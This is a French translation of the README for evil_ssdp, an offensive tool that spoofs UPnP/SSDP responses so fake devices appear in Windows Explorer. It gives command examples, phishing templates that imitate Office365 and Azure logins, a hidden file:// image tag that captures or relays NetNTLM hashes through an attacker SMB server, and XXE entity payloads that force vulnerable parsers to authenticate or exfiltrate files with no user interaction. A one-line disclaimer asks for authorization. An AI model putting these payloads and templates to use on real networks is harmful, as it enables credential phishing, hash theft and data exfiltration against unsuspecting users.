
Usurpez les réponses SSDP et créez de faux appareils UPnP pour phisher des identifiants et des challenges/réponses NetNTLM.
Cet outil répond aux requêtes de découverte multicast SSDP, en se faisant passer pour un périphérique UPNP générique. Votre périphérique usurpé apparaîtra comme par magie dans l'Explorateur Windows des machines de votre réseau local. Les utilisateurs tentés d'ouvrir le périphérique verront une page de phishing configurable. Cette page peut charger une image cachée via SMB, vous permettant de capturer ou de relayer le défi/réponse NetNTLM.
Des modèles sont également fournis pour capturer des identifiants en clair via l'authentification de base et des formulaires de connexion, et la création de vos propres modèles personnalisés est rapide et facile.
Cela ne nécessite aucune information d'identification existante pour être exécuté et fonctionne même sur les réseaux qui se sont protégés contre les attaques Responder en désactivant NETBIOS et LLMNR. Tout système d'exploitation ou application utilisant SSDP/UPNP peut être ciblé, mais la majeure partie de l'armement actuel a été orienté vers Windows 10.
En prime, cet outil peut également détecter et exploiter des vulnérabilités potentielles zero-day dans les moteurs d'analyse XML des applications utilisant SSDP/UPNP. Si un périphérique vulnérable est trouvé, il vous alertera dans l'interface utilisateur puis montera votre partage SMB ou exfiltrera des données SANS AUCUNE INTERACTION UTILISATEUR REQUISE via une attaque XML External Entity (XXE).
L'exécution la plus basique ressemble à ceci :
evil_ssdp.py eth0
Vous devez fournir l'interface réseau au minimum. L'interface est utilisée à la fois pour l'interaction UDP SSDP et pour héberger un serveur Web pour les fichiers XML et la page de phishing.
L'outil mettra automatiquement à jour une balise IMG dans la page de phishing en utilisant l'IP de l'interface que vous fournissez. Pour fonctionner avec le défi/réponse, vous devrez lancer un serveur SMB sur cette interface (comme Impacket). Cette adresse peut être personnalisée avec l'option -s.
Quelques exemples de scénarios :
# Use wlan0 for device advertisement and phishing, capturing NetNTLM and
# asking for clear-text via a spoofed Office365 logon form. Redirect to
# Microsoft aftering capturing credentials:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com'
# Same as above, but assuming your SMB server is running on another IP:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com' \
-s 192.168.1.205
# Prompt for creds using basic auth and redirect to Azure:
evil_ssdp.py wlan0 -t microsoft-azure -u \
'https://azure.microsoft.com/auth/signin/' -b
# Hope for an XXE vul to capture NetNTLM while Impacket/Responder is running
on wlan0:
evil_ssdp.py wlan0 -t xxe-smb
Détails complets d'utilisation :
usage: evil_ssdp.py [-h] [-p PORT] [-t TEMPLATE] [-s SMB] [-b] [-r REALM]
[-u URL]
interface
positional arguments:
interface Network interface to listen on.
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT Port for HTTP server. Defaults to 8888.
-t TEMPLATE, --template TEMPLATE
Name of a folder in the templates directory. Defaults
to "office365". This will determine xml and phishing
pages used.
-s SMB, --smb SMB IP address of your SMB server. Defalts to the primary
address of the "interface" provided.
-b, --basic Enable base64 authentication for templates and write
credentials to log file.
-r REALM, --realm REALM
Realm when prompting target for authentication via
Basic Auth.
-u URL, --url URL Redirect to this URL. Works with templates that do a
POST for logon forms and with templates that include
the custom redirect JavaScript (see README for more
info).[example: -r https://google.com]
-a, --analyze Run in analyze mode. Will NOT respond to any SSDP
queries, but will still enable and run the web server
for testing.
Les modèles suivants sont fournis avec l'outil. Si vous avez des compétences en design, n'hésitez pas à en ajouter un !
office365 : Apparaîtra dans l'Explorateur Windows sous le nom "Office365 Backups". Une page de phishing ressemblant à la connexion Office365 enverra les identifiants par POST. Ceux-ci seront signalés dans l'interface et enregistrés dans le fichier journal. Recommandé de lancer avec '-u https://www.office.com' pour rediriger les utilisateurs vers le site légitime après avoir volé leurs identifiants. Développeur : pentestgeek.scanner : Apparaîtra dans l'Explorateur Windows sous le nom d'un scanner avec le nom "Corporate Scanner [3 NEW SCANS WAITING]". Un double-clic mènera à une page de connexion générique. Ce modèle fonctionnerait bien avec une personnalisation pour votre cible particulière. Modèle principalement copié de ce modèle.microsft-azure : Apparaîtra dans l'Explorateur Windows sous le nom "Microsoft Azure Storage". La page d'atterrissage est la page de connexion Windows Live lorsque les cookies sont désactivés. Recommandé d'utiliser l'option -u pour rediriger les utilisateurs vers la vraie page de connexion. Développeur : Dwight Hohnstein.bitcoin : Apparaîtra dans l'Explorateur Windows sous le nom "Bitcoin Wallet". La page de phishing est simplement un ensemble aléatoire d'informations Bitcoin privées/publiques/adresses. Il n'y a pas de fonds réels dans ces comptes.password-vault : Apparaîtra dans l'Explorateur Windows sous le nom "IT Password Vault". La page de phishing contient une courte liste de faux mots de passe / clés SSH / etc.xxe-smb : N'apparaîtra probablement pas dans l'Explorateur Windows. Utilisé pour trouver des vulnérabilités zero-day dans les analyseurs XML. Déclenchera une alerte "XXE - VULN" dans l'interface pour les résultats positifs et tentera de forcer les clients à s'authentifier auprès du serveur SMB, avec 0 interaction.Créer vos propres modèles est facile. Copiez simplement le dossier d'un modèle existant et modifiez les fichiers suivants :
device.xml : C'est ici que vous définirez à quoi ressemble le périphérique dans l'Explorateur Windows.present.html : C'est la page de phishing affichée lorsqu'une cible ouvre le périphérique malveillant. Créez tout ce que vous voulez ici. Notez que le modèle de chaîne Python analysera ce fichier, vous devrez donc utiliser $$ à la place de $ partout pour échapper au moteur de modèle.service.xml : Pas encore implémenté. Pourrait être nécessaire pour des usurpations UPNP plus complexes à l'avenir.Dans votre page de phishing (present.html), utilisez des variables comme les suivantes pour des fonctionnalités supplémentaires :
# The following line will initiate a NetNTLM challenge/response using the IP
# address of either the interface you provide or an optionally specified IP
# address:
<img src="file://///$smb_server/smb/hash.jpg" style="display: none;" />
# The following will leverage optionally specified URL redirection. This is
# handy when used with basic authentication to redirect to a valid site. This
# line is built in to the microsoft-azure template:
<script>
var url = "$redirectUrl";
if (url != "") {
document.location = url;
}
</script>
# If using an HTTP form to capture clear-text credentials, use code like the
# following. Also any template doing a POST request will automatically
# support the '-u' parameter to redirect after the POST completes. The tool
# will monitor POSTs to this URL for credentials:
<form method="POST" action="/ssdp/do_login.html" name="LoginForm">
L'outil ne crée actuellement correctement que des périphériques pour le type de périphérique UPNP 'Basic', bien qu'il réponde aux requêtes SSDP pour tous les types de périphériques. Si vous connaissez bien UPNP, vous pouvez créer un nouveau modèle avec les paramètres corrects pour satisfaire les requêtes d'autres types de périphériques également. Il reste encore beaucoup à explorer ici concernant l'exploitation d'applications spécifiques et la manière dont elles attendent et utilisent les périphériques UPNP.
Le Simple Service Discovery Protocol (SSDP) est utilisé par les systèmes d'exploitation (Windows, MacOS, Linux, IOS, Android, etc.) et les applications (Spotify, Youtube, etc.) pour découvrir des périphériques partagés sur un réseau local. C'est le fondement de la découverte et de la publicité des périphériques Universal Plug & Play (UPNP).
Les périphériques tentant de découvrir des ressources réseau partagées enverront un multicast UDP à 239.255.255.250 sur le port 1900. Le port source est randomisé. Un exemple de requête ressemble à ceci :
M-SEARCH * HTTP/1.1
Host: 239.255.255.250:1900
ST: upnp:rootdevice
Man: "ssdp:discover"
MX: 3
Pour interagir avec cet hôte, nous devons capturer à la fois le port source et l'en-tête 'ST' (Service Type). La réponse DOIT être envoyée sur le bon port source et DEVRAIT inclure l'en-tête ST correct. Notez que ce n'est pas seulement le système d'exploitation Windows qui cherche des périphériques - un scan d'un réseau typique montrera un grand nombre de requêtes provenant d'applications à l'intérieur du système d'exploitation (comme Spotify), de téléphones mobiles et d'autres périphériques multimédia. Windows ne jouera le jeu que si vous répondez avec le bon ST, les autres sources sont plus indulgentes.
evil_ssdp extrait le ST demandé et envoie une réponse comme celle-ci :
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Tue, 16 Oct 2018 20:17:12 GMT
EXT:
LOCATION: http://192.168.1.214:8888/ssdp/device-desc.xml
OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01
01-NLS: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c
SERVER: UPnP/1.0
ST: upnp:rootdevice
USN: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c::upnp:rootdevice
BOOTID.UPNP.ORG: 0
CONFIGID.UPNP.ORG: 1
Les en-têtes (notamment LOCATION, 01-NLS, ST et USN) sont construits dynamiquement. Cela indique au demandeur où trouver plus d'informations sur notre périphérique. Ici, nous forçons Windows (et d'autres demandeurs) à accéder à notre fichier xml 'Device Descriptor' et à l'analyser. Le USN est simplement une chaîne aléatoire et doit seulement être unique et formaté correctement.
evil_ssdp récupère le fichier 'device.xml' du dossier de modèles choisi et insère dynamiquement certaines variables comme votre adresse IP. Ce fichier 'Device Descriptor' est l'endroit où vous pouvez personnaliser des noms sympathiques et des descriptions alléchantes. Il ressemble à ceci :
<?xml version="1.0"?>
<root xmlns="urn:schemas-upnp-org:device-1-0">
<specVersion>
<major>1</major>
<minor>0</minor>
</specVersion>
<URLBase>http://$local_ip:$local_port</URLBase>
<device>
<presentationURL>http://$local_ip:$local_port/present.html</presentationURL>
<deviceType>urn:schemas-upnp-org:device:Basic:1</deviceType>
<friendlyName>Office365 Backups</friendlyName>
<modelDescription>Secure Storage for Office365</modelDescription>
<manufacturer>MS Office</manufacturer>
<modelName>Office 365 Backups</modelName>
<UDN>$session_usn</UDN>
<serviceList>
<service>
<serviceType>urn:schemas-upnp-org:device:Basic:1</serviceType>
<serviceId>urn:schemas-upnp-org:device:Basic</serviceId>
<controlURL>/ssdp/service-desc.xml</controlURL>
<eventSubURL>/ssdp/service-desc.xml</eventSubURL>
<SCPDURL>/ssdp/service-desc.xml</SCPDURL>
</service>
</serviceList>
</device>
</root>
Une ligne clé de ce fichier contient l'URL de présentation. C'est ce qui se chargera dans le navigateur d'un utilisateur s'il décide de double-cliquer manuellement sur le périphérique UPNP. evil_ssdp hébergera ce fichier automatiquement (present.html du dossier de modèles choisi), en insérant votre adresse IP source dans une balise IMG pour accéder à un partage SMB que vous pouvez héberger avec des outils comme Impacket, Responder, ou Metasploit.
La balise IMG ressemble à ceci :
<img src="file://///$local_ip/smb/hash.jpg" style="display: none;" /><br>
Par défaut, cet outil force essentiellement les périphériques sur le réseau à analyser un fichier XML. Une attaque bien connue contre les applications qui analysent XML existe - XML External Entity Processing (XXE).
Ce type d'attaque contre les périphériques UPNP est probablement négligé - simplement parce que la méthode d'attaque est complexe et pas immédiatement apparente. Cependant, evil_ssdp rend très facile le test des périphériques vulnérables sur votre réseau. Exécutez simplement l'outil et cherchez un grand [XXE VULN!!!] dans la sortie. REMARQUE : utiliser le modèle xxe ne générera probablement pas de périphériques malveillants visibles sur le LAN, il est destiné uniquement aux scénarios sans interaction.
Ceci est réalisé en fournissant un fichier XML Device Descriptor avec le contenu suivant :
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file://///$smb_server/smb/hash.jpg" >
<!ENTITY xxe-url SYSTEM "http://$local_ip:$local_port/ssdp/xxe.html" >
]>
<data>&xxe;&xxe-url;</data>
Lorsqu'un analyseur XML vulnérable lit ce fichier, il montera automatiquement le partage SMB (vous permettant de casser le hash ou de relayer) ainsi que d'accéder à une URL HTTP pour vous notifier de sa découverte. La notification contiendra les en-têtes HTTP et une adresse IP, ce qui devrait vous donner quelques informations sur l'application vulnérable. Si vous voyez cela, veuillez contacter le vendeur pour résoudre le problème. Et j'adorerais entendre parler des zero-day que vous trouverez avec cet outil. N'oubliez pas de mentionner l'outil dans votre CVE.
Merci également à Microsoft pour avoir développé beaucoup de choses amusantes et non sécurisées avec lesquelles jouer.
Ceci est un outil de recherche en sécurité. Utilisez-le uniquement avec l'autorisation explicite du propriétaire du réseau.
xxe-exfil : Un autre exemple de recherche de vulnérabilités XXE, mais cette fois en tentant d'exfiltrer un fichier de test depuis un hôte Windows. Bien sûr, vous pouvez le personnaliser pour rechercher le fichier spécifique que vous voulez, Windows ou Linux. Dans les applications vulnérables que j'ai découvertes, l'exfiltration ne fonctionne que sur un fichier sans espaces ni sauts de ligne. Cela est dû à la façon dont il est injecté dans l'URL d'une requête GET. Si vous arrivez à le faire fonctionner sur des fichiers multilignes, merci de me dire comment vous avez fait.